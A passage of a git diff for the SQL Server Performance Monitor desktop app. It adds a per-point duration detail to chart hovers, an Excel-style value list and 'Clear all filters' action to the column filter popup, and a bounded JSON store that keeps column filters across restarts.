-                var time = FormatHoverTime(plottedX, _displayZone, PlainTimeAt?.Invoke(plottedX) == true);
-                string valueFormatted = (bestPoint.Y == Math.Floor(bestPoint.Y))
-                    ? bestPoint.Y.ToString("N0")
-                    : bestPoint.Y.ToString("N1");
-                _text.Text = $"{bestLabel}\n{valueFormatted} {_unit}\n{time}";
+                _text.Text = text;
                 _popup.HorizontalOffset = pos.X + 15;
                 _popup.VerticalOffset = pos.Y + 15;
                 /* Updating the offsets above moves an already-open popup, so only toggle IsOpen
@@ -357,6 +393,14 @@ private void OnMouseLeave(object sender, MouseEventArgs e)
         _popup.IsOpen = false;
     }
 
+    /// <summary>
+    /// The popup's text: the series' <paramref name="label"/>, the value with its <paramref name="unit"/>, the time and,
+    /// when the nearest point has one (<see cref="Add(ScottPlot.Plottables.Scatter, string, IReadOnlyDictionary{double, string}?)"/>),
+    /// its <paramref name="detail"/> line (#4989). Without a detail it is the three lines it always was.
+    /// </summary>
+    internal static string HoverText(string label, string valueFormatted, string unit, string time, string? detail = null) =>
+        detail is null ? $"{label}\n{valueFormatted} {unit}\n{time}" : $"{label}\n{valueFormatted} {unit}\n{time}\n{detail}";
+
     /// <summary>
     /// The time line of a hover for the plotted X <paramref name="plottedX"/>. With no zone, X is the app's
     /// server-time value and the line is the display-mode conversion of it, as it has always been. With a zone, X
diff --git a/PerformanceMonitor.Ui/CollectorDurationHoverText.cs b/PerformanceMonitor.Ui/CollectorDurationHoverText.cs
new file mode 100644
index 0000000000..8dd104abe7
--- /dev/null
+++ b/PerformanceMonitor.Ui/CollectorDurationHoverText.cs
@@ -0,0 +1,29 @@
+using System;
+using System.Globalization;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// The line the Duration Trends chart's hover adds for a point (#4989, #4966), in one place for both apps. A point draws its
+/// bucket's slowest run, so the line says how many runs it is the slowest of and what the average run took. Lite builds it
+/// from its bucket (<c>ServerTab.CollectorDurationDetail</c>) and the Darling viewer from its series (<c>CollectorDurationSeries.DetailsByX</c>),
+/// so the two apps cannot word it differently. It sits beside <see cref="ChartHoverHelper"/>, which prints it as the popup's
+/// fourth line when a series is registered with its per-point details.
+/// </summary>
+internal static class CollectorDurationHoverText
+{
+    /// <summary>
+    /// <c>Slowest of {runs} {run|runs}; average {ms} ms</c>, in the current culture: the count with its thousands separator,
+    /// and the average without a decimal when it is a whole number of milliseconds and with one when it is not.
+    /// </summary>
+    /// <param name="runCount">How many runs the point's bucket holds.</param>
+    /// <param name="averageMs">The average duration of those runs, in milliseconds.</param>
+    internal static string Detail(long runCount, double averageMs)
+    {
+        static string Ms(double value) => value == Math.Floor(value)
+            ? value.ToString("N0", CultureInfo.CurrentCulture)
+            : value.ToString("N1", CultureInfo.CurrentCulture);
+
+        return $"Slowest of {runCount.ToString("N0", CultureInfo.CurrentCulture)} {(runCount == 1 ? "run" : "runs")}; average {Ms(averageMs)} ms";
+    }
+}
diff --git a/PerformanceMonitor.Ui/ColumnFilterPopup.xaml b/PerformanceMonitor.Ui/ColumnFilterPopup.xaml
index 33da025272..45d3c52daa 100644
--- a/PerformanceMonitor.Ui/ColumnFilterPopup.xaml
+++ b/PerformanceMonitor.Ui/ColumnFilterPopup.xaml
@@ -1,8 +1,9 @@
 <UserControl x:Class="PerformanceMonitor.Ui.ColumnFilterPopup"
              xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
              xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
-             Width="220"
-             FontFamily="Segoe UI">
+             Width="260"
+             FontFamily="Segoe UI"
+             PreviewKeyDown="Popup_PreviewKeyDown">
     <Border Background="{DynamicResource BackgroundBrush}" BorderBrush="{DynamicResource BorderBrush}" BorderThickness="1" CornerRadius="6" TextElement.FontFamily="Segoe UI">
         <StackPanel Margin="12">
             <!-- Header with column name -->
@@ -13,8 +14,91 @@
                        Foreground="{DynamicResource ForegroundBrush}"
                        Margin="0,0,0,12"/>
 
-            <!-- Operator dropdown -->
-            <TextBlock Text="Operator:"
+            <!-- Value list (#5565): the column's values to tick, like Excel. Collapsed for a column that gets no list. -->
+            <StackPanel x:Name="ValueListPanel" Visibility="Collapsed" Margin="0,0,0,12">
+                <TextBlock Text="Values:"
+                           Foreground="{DynamicResource ForegroundDimBrush}"
+                           FontSize="11"
+                           Margin="0,0,0,4"/>
+                <TextBox x:Name="SearchTextBox"
+                         Height="28"
+                         Margin="0,0,0,6"
+                         Padding="6,0"
+                         VerticalContentAlignment="Center"
+                         ToolTip="Search the values"
+                         AutomationProperties.Name="Search the values"
+                         TextChanged="SearchTextBox_TextChanged"/>
+                <CheckBox x:Name="SelectAllCheckBox"
+                          Content="Select All"
+                          IsThreeState="True"
+                          Foreground="{DynamicResource ForegroundBrush}"
+                          Margin="2,0,0,4"
+                          AutomationProperties.Name="Select all the listed values"
+                          Click="SelectAllCheckBox_Click"/>
+                <ListBox x:Name="ValuesListBox"
+                         Height="170"
+                         Background="Transparent"
+                         BorderBrush="{DynamicResource BorderBrush}"
+                         BorderThickness="1"
+                         AutomationProperties.Name="Values"
+                         KeyboardNavigation.TabNavigation="Once"
+                         KeyboardNavigation.DirectionalNavigation="Contained"
+                         ScrollViewer.HorizontalScrollBarVisibility="Disabled"
+                         VirtualizingPanel.IsVirtualizing="True"
+                         VirtualizingPanel.VirtualizationMode="Recycling"
+                         ScrollViewer.CanContentScroll="True">
+                    <ListBox.ItemContainerStyle>
+                        <Style TargetType="ListBoxItem">
+                            <Setter Property="Focusable" Value="False"/>
+                            <Setter Property="Template">
+                                <Setter.Value>
+                                    <ControlTemplate TargetType="ListBoxItem">
+                                        <ContentPresenter/>
+                                    </ControlTemplate>
+                                </Setter.Value>
+                            </Setter>
+                        </Style>
+                    </ListBox.ItemContainerStyle>
+                    <ListBox.ItemTemplate>
+                        <DataTemplate>
+                            <CheckBox IsChecked="{Binding IsTicked, Mode=TwoWay}"
+                                      Foreground="{DynamicResource ForegroundBrush}"
+                                      Margin="4,2,4,2"
+                                      ToolTip="{Binding Label}"
+                                      AutomationProperties.Name="{Binding Label}">
+                                <TextBlock Text="{Binding Label}" TextTrimming="CharacterEllipsis" MaxWidth="190"/>
+                            </CheckBox>
+                        </DataTemplate>
+                    </ListBox.ItemTemplate>
+                </ListBox>
+                <TextBlock x:Name="NoteText"
+                           Visibility="Collapsed"
+                           TextWrapping="Wrap"
+                           Foreground="{DynamicResource ForegroundDimBrush}"
+                           FontSize="11"
+                           Margin="0,4,0,0"/>
+            </StackPanel>
+
+            <!-- A value filter stored on a column that gets no list now (#5565): shown read-only, with a way to clear it. -->
+            <StackPanel x:Name="StoredValuesPanel" Visibility="Collapsed" Margin="0,0,0,12">
+                <TextBlock x:Name="StoredValuesText"
+                           TextWrapping="Wrap"
+                           Foreground="{DynamicResource ForegroundDimBrush}"
+                           FontSize="11"
+                           Margin="0,0,0,4"/>
+                <Button x:Name="ClearStoredValuesButton"
+                        Content="Clear the value filter"
+                        Height="28"
+                        Padding="6,0"
+                        HorizontalAlignment="Left"
+                        ToolTip="Remove the value filter kept on this column"
+                        AutomationProperties.Name="Clear the value filter"
+                        Click="ClearStoredValuesButton_Click"/>
+            </StackPanel>
+
+            <!-- Text match, kept beside the list -->
+            <TextBlock x:Name="OperatorLabel"
+                       Text="Operator:"
                        Foreground="{DynamicResource ForegroundDimBrush}"
                        FontSize="11"
                        Margin="0,0,0,4"/>
@@ -33,22 +117,37 @@
                      Height="28"
                      Margin="0,0,0,16"
                      Padding="6,0"
-                     VerticalContentAlignment="Center"
-                     KeyDown="ValueTextBox_KeyDown"/>
+                     VerticalContentAlignment="Center"/>
 
             <!-- Buttons -->
-            <StackPanel Orientation="Horizontal" HorizontalAlignment="Right">
-                <Button Content="Clear"
-                        Width="65"
+            <Grid>
+                <Grid.ColumnDefinitions>
+                    <ColumnDefinition Width="*"/>
+                    <ColumnDefinition Width="Auto"/>
+                </Grid.ColumnDefinitions>
+                <Button x:Name="ClearAllButton"
+                        Grid.Column="0"
+                        Content="Clear all filters"
                         Height="28"
                         Margin="0,0,8,0"
-                        Click="ClearButton_Click"/>
-                <Button Content="Apply"
-                        Width="65"
-                        Height="28"
-                        Click="ApplyButton_Click"
-                        IsDefault="True"/>
-            </StackPanel>
+                        Padding="6,0"
+                        HorizontalAlignment="Left"
+                        ToolTip="Remove every filter on this grid"
+                        Visibility="Collapsed"
+                        Click="ClearAllButton_Click"/>
+                <StackPanel Grid.Column="1" Orientation="Horizontal" HorizontalAlignment="Right">
+                    <Button Content="Clear"
+                            Width="65"
+                            Height="28"
+                            Margin="0,0,8,0"
+                            Click="ClearButton_Click"/>
+                    <Button Content="Apply"
+                            Width="65"
+                            Height="28"
+                            Click="ApplyButton_Click"
+                            IsDefault="True"/>
+                </StackPanel>
+            </Grid>
         </StackPanel>
     </Border>
 </UserControl>
diff --git a/PerformanceMonitor.Ui/ColumnFilterPopup.xaml.cs b/PerformanceMonitor.Ui/ColumnFilterPopup.xaml.cs
index 87ed58faf7..84c4d92061 100644
--- a/PerformanceMonitor.Ui/ColumnFilterPopup.xaml.cs
+++ b/PerformanceMonitor.Ui/ColumnFilterPopup.xaml.cs
@@ -7,6 +7,7 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Windows;
 using System.Windows.Controls;
 using System.Windows.Input;
@@ -18,10 +19,16 @@ public partial class ColumnFilterPopup : UserControl
 {
     private string _columnName = string.Empty;
     private bool _suppressEvents = false;
+    private ColumnFilterState? _existing;
+    private ColumnValueListModel? _list;
+    private bool _storedValuesCleared;
 
     public event EventHandler<FilterAppliedEventArgs>? FilterApplied;
     public event EventHandler? FilterCleared;
 
+    /// <summary>#5565: the user chose "Clear all filters" for the grid.</summary>
+    public event EventHandler? ClearAllRequested;
+
     public ColumnFilterPopup()
     {
         InitializeComponent();
@@ -44,13 +51,41 @@ private void PopulateOperatorComboBox()
         OperatorComboBox.SelectedIndex = 0;
     }
 
-    public void Initialize(string columnName, ColumnFilterState? existingFilter)
+    /// <summary>The value list the popup shows now, or null for a column with no list. Exposed for tests.</summary>
+    internal ColumnValueListModel? ListModel => _list;
+
+    /// <param name="columnName">The column's bound property name.</param>
+    /// <param name="existingFilter">The column's filter now, if any.</param>
+    /// <param name="valueCatalog">The column's values (#5565), or null when it gets no list.</param>
+    /// <param name="gridHasFilters">The grid has an active filter, so "Clear all filters" is offered.</param>
+    public void Initialize(string columnName, ColumnFilterState? existingFilter, ColumnValueCatalog? valueCatalog = null, bool gridHasFilters = false)
     {
         _suppressEvents = true;
         _columnName = columnName;
+        _existing = existingFilter;
+        _storedValuesCleared = false;
         HeaderText.Text = $"Filter: {columnName}";
 
-        if (existingFilter != null && existingFilter.IsActive)
+        if (_list is not null)
+            _list.TicksChanged -= OnTicksChanged;
+        _list = valueCatalog is null ? null : new ColumnValueListModel(valueCatalog, existingFilter);
+        SearchTextBox.Text = string.Empty;
+        ValueListPanel.Visibility = _list is null ? Visibility.Collapsed : Visibility.Visible;
+        OperatorLabel.Text = _list is null ? "Operator:" : "Text match - operator:";
+        ShowStoredValues();
+        ClearAllButton.Visibility = gridHasFilters ? Visibility.Visible : Visibility.Collapsed;
+        if (_list is not null)
+        {
+            ValuesListBox.ItemsSource = _list.Entries;
+            _list.TicksChanged += OnTicksChanged;
+            OnTicksChanged(_list, EventArgs.Empty);
+        }
+        else
+        {
+            ValuesListBox.ItemsSource = null;
+        }
+
+        if (existingFilter != null && existingFilter.HasTextMatch)
         {
             for (int i = 0; i < OperatorComboBox.Items.Count; i++)
             {
@@ -75,8 +110,77 @@ public void Initialize(string columnName, ColumnFilterState? existingFilter)
         UpdateValueVisibility();
         _suppressEvents = false;
 
-        ValueTextBox.Focus();
-        ValueTextBox.SelectAll();
+        if (_list is not null)
+        {
+            SearchTextBox.Focus();
+        }
+        else
+        {
+            ValueTextBox.Focus();
+            ValueTextBox.SelectAll();
+        }
+    }
+
+    private void OnTicksChanged(object? sender, EventArgs e)
+    {
+        if (_list is null) return;
+        SelectAllCheckBox.IsChecked = _list.SelectAllState;
+        var note = _list.Note;
+        NoteText.Text = note ?? string.Empty;
+        NoteText.Visibility = note is null ? Visibility.Collapsed : Visibility.Visible;
+    }
+
+    private void SearchTextBox_TextChanged(object sender, TextChangedEventArgs e)
+    {
+        if (_suppressEvents || _list is null) return;
+        _list.Search = SearchTextBox.Text;
+    }
+
+    private void SelectAllCheckBox_Click(object sender, RoutedEventArgs e)
+    {
+        if (_list is null) return;
+        _list.ToggleSelectAll();
+        SelectAllCheckBox.IsChecked = _list.SelectAllState;
+    }
+
+    /// <summary>
+    /// A column that gets no list now (its longest value grew past the limit, say) but holds a stored value filter
+    /// says so, read-only, and offers to clear it: otherwise the filter would stay active with nothing to change it.
+    /// </summary>
+    private void ShowStoredValues()
+    {
+        var show = _list is null && !_storedValuesCleared && _existing is { HasValuePart: true };
+        StoredValuesPanel.Visibility = show ? Visibility.Visible : Visibility.Collapsed;
+        StoredValuesText.Text = show ? $"Value filter kept on this column: {_existing!.ValueDisplayText}. This column offers no list now, so it can only be cleared." : string.Empty;
+    }
+
+    private void ClearStoredValuesButton_Click(object sender, RoutedEventArgs e)
+    {
+        _storedValuesCleared = true;
+        ShowStoredValues();
+        // At once, as the web page's clear does: the popup closes on a click outside (StaysOpen = false) and on Escape,
+        // and a clear that waited for Apply would be lost with it, leaving the value filter hiding rows.
+        ApplyFilter();
+    }
+
+    private void ClearAllButton_Click(object sender, RoutedEventArgs e)
+    {
+        ClearAllRequested?.Invoke(this, EventArgs.Empty);
+    }
+
+    /// <summary>Esc closes the popup from anywhere in it; Enter applies unless a button has focus.</summary>
+    private void Popup_PreviewKeyDown(object sender, KeyEventArgs e)
+    {
+        if (e.Key == Key.Escape)
+        {
+            FilterCleared?.Invoke(this, EventArgs.Empty);
+            e.Handled = true;
+        }
+        else if (e.Key == Key.Enter && e.OriginalSource is not Button)
+        {
+            ApplyFilter();
+            e.Handled = true;
+        }
     }
 
     private void OperatorComboBox_SelectionChanged(object sender, SelectionChangedEventArgs e)
@@ -105,20 +209,6 @@ private FilterOperator GetSelectedOperator()
         return FilterOperator.Contains;
     }
 
-    private void ValueTextBox_KeyDown(object sender, KeyEventArgs e)
-    {
-        if (e.Key == Key.Enter)
-        {
-            ApplyFilter();
-            e.Handled = true;
-        }
-        else if (e.Key == Key.Escape)
-        {
-            FilterCleared?.Invoke(this, EventArgs.Empty);
-            e.Handled = true;
-        }
-    }
-
     private void ApplyButton_Click(object sender, RoutedEventArgs e)
     {
         ApplyFilter();
@@ -132,10 +222,31 @@ private void ApplyFilter()
             Operator = GetSelectedOperator(),
             Value = ValueTextBox.Text.Trim()
         };
+        BuildValuePart(filterState);
 
         FilterApplied?.Invoke(this, new FilterAppliedEventArgs { FilterState = filterState });
     }
 
+    /// <summary>
+    /// The value part of the filter: the ticks when the column has a list and a tick was changed. Otherwise whatever
+    /// the filter already held (#5565: the mode is chosen when the list changes, so a text-only Apply leaves a value
+    /// filter that today's rows have drifted away from as it was; a column whose list is not offered now, with a value
+    /// filter stored earlier, keeps it unless the reader cleared it).
+    /// </summary>
+    private void BuildValuePart(ColumnFilterState state)
+    {
+        if (_list is not null && _list.TicksDirty)
+        {
+            _list.ApplyTo(state);
+        }
+        else if (_existing is not null && !_storedValuesCleared)
+        {
+            state.ValueMode = _existing.ValueMode;
+            state.Values = new HashSet<string>(_existing.Values, StringComparer.OrdinalIgnoreCase);
+            state.ValueBlank = _existing.ValueBlank;
+        }
+    }
+
     private void ClearButton_Click(object sender, RoutedEventArgs e)
     {
         ValueTextBox.Text = string.Empty;
diff --git a/PerformanceMonitor.Ui/ColumnFilterPopupController.cs b/PerformanceMonitor.Ui/ColumnFilterPopupController.cs
index 85533c1376..9782801d9d 100644
--- a/PerformanceMonitor.Ui/ColumnFilterPopupController.cs
+++ b/PerformanceMonitor.Ui/ColumnFilterPopupController.cs
@@ -49,12 +49,14 @@ internal void HandleFilterButtonClick(object sender)
         /* Rewire events to the current grid */
         _content!.FilterApplied -= OnFilterApplied;
         _content.FilterCleared -= OnFilterCleared;
+        _content.ClearAllRequested -= OnClearAllRequested;
         _content.FilterApplied += OnFilterApplied;
         _content.FilterCleared += OnFilterCleared;
+        _content.ClearAllRequested += OnClearAllRequested;
 
         /* Initialize with existing filter state */
         manager.Filters.TryGetValue(columnName, out var existingFilter);
-        _content.Initialize(columnName, existingFilter);
+        _content.Initialize(columnName, existingFilter, manager.GetValueCatalog(columnName), manager.AnyFilterActive);
 
         _popup!.PlacementTarget = button;
         _popup.IsOpen = true;
@@ -86,6 +88,18 @@ private void OnFilterApplied(object? sender, FilterAppliedEventArgs e)
         }
     }
 
+    /// <summary>#5565: "Clear all filters" removes the grid's filters and its stored copy.</summary>
+    private void OnClearAllRequested(object? sender, EventArgs e)
+    {
+        if (_popup != null)
+            _popup.IsOpen = false;
+
+        if (_currentGrid != null && _managers.TryGetValue(_currentGrid, out var manager))
+        {
+            manager.ClearAllFilters();
+        }
+    }
+
     private void OnFilterCleared(object? sender, EventArgs e)
     {
         if (_popup != null)
diff --git a/PerformanceMonitor.Ui/ColumnFilterScope.cs b/PerformanceMonitor.Ui/ColumnFilterScope.cs
new file mode 100644
index 0000000000..2a78a1ac43
--- /dev/null
+++ b/PerformanceMonitor.Ui/ColumnFilterScope.cs
@@ -0,0 +1,38 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Windows;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// The server a grid's column filters belong to, for keeping them across a restart (#5565). An inherited attached
+/// property: set it once on a server tab's root and every grid below it (the filtered ones are each named in XAML)
+/// reads it, so the filter managers need no one-by-one wiring. A grid with no scope above it, or no Name, keeps its
+/// filters for the session only.
+/// </summary>
+public static class ColumnFilterScope
+{
+    public static readonly DependencyProperty ServerProperty = DependencyProperty.RegisterAttached(
+        "Server",
+        typeof(string),
+        typeof(ColumnFilterScope),
+        new FrameworkPropertyMetadata(null, FrameworkPropertyMetadataOptions.Inherits));
+
+    /// <summary>
+    /// The one fixed scope of the cross-server lists (Alert History and Job History, in Lite and in the Viewer): they
+    /// show every server's rows, so their filters are not any one server's. It starts with a control character, which
+    /// no server id or name can, so it never meets a real server's entry. The drill-down windows (three of them name
+    /// their grid "HistoryDataGrid") get no scope at all and keep their filters for the session only.
+    /// </summary>
+    public const string AllServers = "\u0001all-servers";
+
+    public static string? GetServer(DependencyObject element) => (string?)element.GetValue(ServerProperty);
+
+    public static void SetServer(DependencyObject element, string? value) => element.SetValue(ServerProperty, value);
+}
diff --git a/PerformanceMonitor.Ui/ColumnFilterStore.cs b/PerformanceMonitor.Ui/ColumnFilterStore.cs
new file mode 100644
index 0000000000..79711e5077
--- /dev/null
+++ b/PerformanceMonitor.Ui/ColumnFilterStore.cs
@@ -0,0 +1,512 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Ui;
+
+/// <summary>
+/// Keeps the active column filters across a restart (#5565): per server + grid + column, active filters only,
+/// removed when cleared. One JSON file, written debounced and atomically (temp file, then replace). Bounded: at
+/// most <see cref="MaxGrids"/> grids are kept (the least recently used go first), and a column whose value list
+/// names more than <see cref="MaxValuesPerColumn"/> values keeps its text match and loses only the value part. The
+/// file holds only what the user ticked or typed, plus the server, grid and column names that key it: no row data
+/// beyond those values, and no text match on a column that never gets a list (query, statement, plan, XML and
+/// prose columns: a term typed there is kept for the session only). Every limit applies when the file is read as
+/// well as when it is written, and an entry that is null or of the wrong type is skipped. A file that cannot be
+/// read is reported once and ignored; a grid is never blocked by the store.
+/// </summary>
+public sealed class ColumnFilterStore : IDisposable
+{
+    public const int MaxGrids = 200;
+    public const int MaxValuesPerColumn = 1000;
+
+    /// <summary>The longest value, text match or key (column name) the store keeps; also checked on read.</summary>
+    public const int MaxValueLength = 1000;
+
+    /// <summary>At most this many columns are kept per grid.</summary>
+    public const int MaxColumnsPerGrid = 200;
+
+    /// <summary>A file larger than this is ignored whole (the limits above cap a real file far below it).</summary>
+    public const long MaxFileBytes = 16L * 1024 * 1024;
+
+    private const int FileVersion = 1;
+    private static readonly JsonSerializerOptions s_json = new() { WriteIndented = true };
+
+    private static ColumnFilterStore? s_current;
+    private static bool s_exitHooked;
+
+    /// <summary>
+    /// The store the running app wrote its path into (<see cref="Install"/>). Null means filters are kept for the
+    /// session only: a test, or an app that did not name a path.
+    /// </summary>
+    public static ColumnFilterStore? Current
+    {
+        get => Volatile.Read(ref s_current);
+        set => Volatile.Write(ref s_current, value);
+    }
+
+    /// <summary>
+    /// Points the running app's grids at one file, and flushes it when the process exits. <paramref name="legacyFilePath"/>
+    /// names the place an earlier build kept the file: it is read once (moved to <paramref name="filePath"/>) and then gone.
+    /// </summary>
+    public static void Install(string filePath, Action<string>? warn = null, string? legacyFilePath = null)
+    {
+        if (!string.IsNullOrEmpty(legacyFilePath))
+            MigrateLegacyFile(legacyFilePath, filePath, warn);
+        Current = new ColumnFilterStore(filePath, warn);
+        if (!s_exitHooked)
+        {
+            s_exitHooked = true;
+            AppDomain.CurrentDomain.ProcessExit += (_, _) => Current?.Flush();
+        }
+    }
+
+    /// <summary>
+    /// The Viewer first kept its file under the roaming profile, which copies the logins, hosts and application names
+    /// it holds to a profile server. It now lives under local application data like Lite's. A file found at the old
+    /// place becomes the new one when there is none yet (so the filters survive the move), and is deleted either way.
+    /// </summary>
+    public static void MigrateLegacyFile(string legacyFilePath, string filePath, Action<string>? warn = null)
+    {
+        try
+        {
+            if (!File.Exists(legacyFilePath) || string.Equals(Path.GetFullPath(legacyFilePath), Path.GetFullPath(filePath), StringComparison.OrdinalIgnoreCase))
+                return;
+            if (!File.Exists(filePath))
+            {
+                var directory = Path.GetDirectoryName(filePath);
+                if (!string.IsNullOrEmpty(directory))
+                    Directory.CreateDirectory(directory);
+                File.Move(legacyFilePath, filePath);
+            }
+            else
+            {
+                File.Delete(legacyFilePath);
+            }
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or NotSupportedException or ArgumentException)
+        {
+            warn?.Invoke($"The earlier column filter file '{legacyFilePath}' could not be moved to '{filePath}': {ex.Message}");
+        }
+    }
+
+    private sealed class GridEntry
+    {
+        public string Server = string.Empty;
+        public string Grid = string.Empty;
+        public List<ColumnFilterState> Filters = new();
+    }
+
+    /// <summary>The longest wait between two tries at a save that keeps failing.</summary>
+    public static readonly TimeSpan MaxRetryDelay = TimeSpan.FromSeconds(60);
+
+    private readonly object _gate = new(); // the entries and the flags: held for memory work only, never for file I/O
+    private readonly object _ioGate = new(); // one write at a time: held for the file I/O, so a flush never blocks Load or Save
+    private readonly string _filePath;
+    private readonly Action<string>? _warn;
+    private readonly Action<string, string> _writeText;
+    private readonly TimeSpan _debounce;
+    private readonly Timer _timer;
+    private readonly List<GridEntry> _entries = new(); // least recently used first
+    private bool _loaded;
+    private bool _dirty;
+    private bool _disposed;
+    private bool _saveWarned;
+    private long _version; // bumped by every change, so a write that finishes after a newer change leaves the store dirty
+    private int _failedSaves; // in a row; the retry delay doubles with each
+
+    /// <param name="writeText">Writes a text file (path, text). Null means <see cref="File.WriteAllText(string, string?)"/>; a test passes its own.</param>
+    public ColumnFilterStore(string filePath, Action<string>? warn = null, TimeSpan? debounce = null, Action<string, string>? writeText = null)
+    {
+        _filePath = filePath;
+        _warn = warn;
+        _writeText = writeText ?? ((path, text) => File.WriteAllText(path, text));
+        _debounce = debounce ?? TimeSpan.FromSeconds(1.5);
+        _timer = new Timer(_ => Flush(), null, Timeout.Infinite, Timeout.Infinite);
+    }
+
+    public string FilePath => _filePath;
+
+    /// <summary>
+    /// How long the next retry of a failed save waits: the debounce after the first failure, doubling after each further
+    /// one, at most <see cref="MaxRetryDelay"/> (or the debounce itself when that is longer). A save that works resets it.
+    /// </summary>
+    public TimeSpan RetryDelay
+    {
+        get
+        {
+            lock (_gate)
+                return RetryDelayLocked();
+        }
+    }
+
+    private TimeSpan RetryDelayLocked()
+    {
+        if (_failedSaves <= 1)
+            return _debounce;
+        var cap = _debounce > MaxRetryDelay ? _debounce : MaxRetryDelay;
+        var doubled = _debounce.TotalMilliseconds * Math.Pow(2, Math.Min(_failedSaves - 1, 30));
+        return doubled >= cap.TotalMilliseconds ? cap : TimeSpan.FromMilliseconds(doubled);
+    }
+
+    /// <summary>The active filters stored for a server's grid, or none. Counts as a use of the grid.</summary>
+    public IReadOnlyList<ColumnFilterState> Load(string server, string grid)
+    {
+        lock (_gate)
+        {
+            EnsureLoaded();
+            var index = _entries.FindIndex(e => Matches(e, server, grid));
+            if (index < 0)
+                return Array.Empty<ColumnFilterState>();
+
+            var entry = _entries[index];
+            if (index != _entries.Count - 1)
+            {
+                _entries.RemoveAt(index);
+                _entries.Add(entry);
+                MarkDirty();
+            }
+            return entry.Filters.Select(Clone).ToList();
+        }
+    }
+
+    /// <summary>
+    /// Replaces a server's grid's stored filters with these (the storable active ones: see <see cref="Storable"/>).
+    /// None removes the grid.
+    /// </summary>
+    public void Save(string server, string grid, IEnumerable<ColumnFilterState> filters)
+    {
+        lock (_gate)
+        {
+            EnsureLoaded();
+            var keep = filters
+                .Select(Storable)
+                .OfType<ColumnFilterState>()
+                .Take(MaxColumnsPerGrid)
+                .ToList();
+
+            var index = _entries.FindIndex(e => Matches(e, server, grid));
+            if (index >= 0)
+                _entries.RemoveAt(index);
+
+            if (keep.Count > 0)
+            {
+                _entries.Add(new GridEntry { Server = server, Grid = grid, Filters = keep });
+                while (_entries.Count > MaxGrids)
+                    _entries.RemoveAt(0);
+            }
+            else if (index < 0)
+            {
+                return; // nothing stored, nothing to store
+            }
+
+            MarkDirty();
+        }
+    }
+
+    /// <summary>
+    /// Writes any pending change now (the debounce timer and the process exit both end here). The text is made under
+    /// the lock; the file I/O runs outside it, so a slow or stuck disk never holds up a grid's Load or Save.
+    /// </summary>
+    public void Flush()
+    {
+        lock (_ioGate)
+        {
+            string text;
+            long version;
+            lock (_gate)
+            {
+                if (!_dirty || _disposed)
+                    return;
+                version = _version;
+                text = JsonSerializer.Serialize(new FileDto
+                {
+                    Version = FileVersion,
+                    Grids = _entries.Select(e => new GridDto
+                    {
+                        Server = e.Server,
+                        Grid = e.Grid,
+                        Columns = e.Filters.Select(ToDto).ToList()
+                    }).ToList()
+                }, s_json);
+            }
+
+            Exception? failure = null;
+            try
+            {
+                var directory = Path.GetDirectoryName(_filePath);
+                if (!string.IsNullOrEmpty(directory))
+                    Directory.CreateDirectory(directory);
+
+                var temp = _filePath + ".tmp";
+                _writeText(temp, text);
+                if (File.Exists(_filePath))
+                    File.Replace(temp, _filePath, null);
+                else
+                    File.Move(temp, _filePath);
+            }
+            catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or NotSupportedException)
+            {
+                failure = ex;
+            }
+
+            string? warning = null;
+            lock (_gate)
+            {
+                if (failure is null)
+                {
+                    _failedSaves = 0;
+                    /* A change that came in during the write has its own timer tick and keeps the store dirty. */
+                    if (_version == version)
+                        _dirty = false;
+                    return;
+                }
+
+                /* Still dirty. The retry backs off (the debounce, then twice that, and so on up to a minute) and a change
+                   also tries again at its own debounce tick; the warning is given once per run, not once per failed try. */
+                _failedSaves++;
+                var delay = RetryDelayLocked();
+                if (!_saveWarned)
+                {
+                    _saveWarned = true;
+                    warning = $"The column filters could not be saved to '{_filePath}': {failure.Message} The save is tried again in {delay.TotalSeconds:0.#} seconds, with longer waits (up to {MaxRetryDelay.TotalSeconds:0} seconds) while it keeps failing, and at the next change.";
+                }
+                if (!_disposed)
+                    _timer.Change(delay, Timeout.InfiniteTimeSpan);
+            }
+            if (warning is not null)
+                _warn?.Invoke(warning);
+        }
+    }
+
+    public void Dispose()
+    {
+        Flush();
+        lock (_gate)
+            _disposed = true;
+        _timer.Dispose();
+    }
+
+    private static bool Matches(GridEntry e, string server, string grid) =>
+        string.Equals(e.Server, server, StringComparison.Ordinal) && string.Equals(e.Grid, grid, StringComparison.Ordinal);
+
+    private void MarkDirty()
+    {
+        _dirty = true;
+        _version++;
+        if (!_disposed)
+            _timer.Change(_debounce, Timeout.InfiniteTimeSpan);
+    }
+
+    private void EnsureLoaded()
+    {
+        if (_loaded)
+            return;
+        _loaded = true;
+
+        if (!File.Exists(_filePath))
+            return;
+
+        try
+        {
+            if (new FileInfo(_filePath).Length > MaxFileBytes)
+            {
+                _warn?.Invoke($"The column filter file '{_filePath}' is larger than {MaxFileBytes / (1024 * 1024)} MB, so it is ignored.");
+                return;
+            }
+
+            using var doc = JsonDocument.Parse(File.ReadAllText(_filePath), new JsonDocumentOptions { MaxDepth = 16 });
+            var root = doc.RootElement;
+            if (root.ValueKind != JsonValueKind.Object ||
+                !root.TryGetProperty(nameof(FileDto.Version), out var version) ||
+                version.ValueKind != JsonValueKind.Number || !version.TryGetInt32(out var v) || v != FileVersion ||
+                !root.TryGetProperty(nameof(FileDto.Grids), out var grids) || grids.ValueKind != JsonValueKind.Array)
+            {
+                _warn?.Invoke($"The column filter file '{_filePath}' is not in a format this version reads, so it is ignored.");
+                return;
+            }
+
+            /* Only the newest MaxGrids entries are looked at, so a file with millions of grids costs no more than 200. */
+            var skip = grids.GetArrayLength() - MaxGrids;
+            var index = 0;
+            foreach (var grid in grids.EnumerateArray())
+            {
+                if (index++ < skip)
+                    continue;
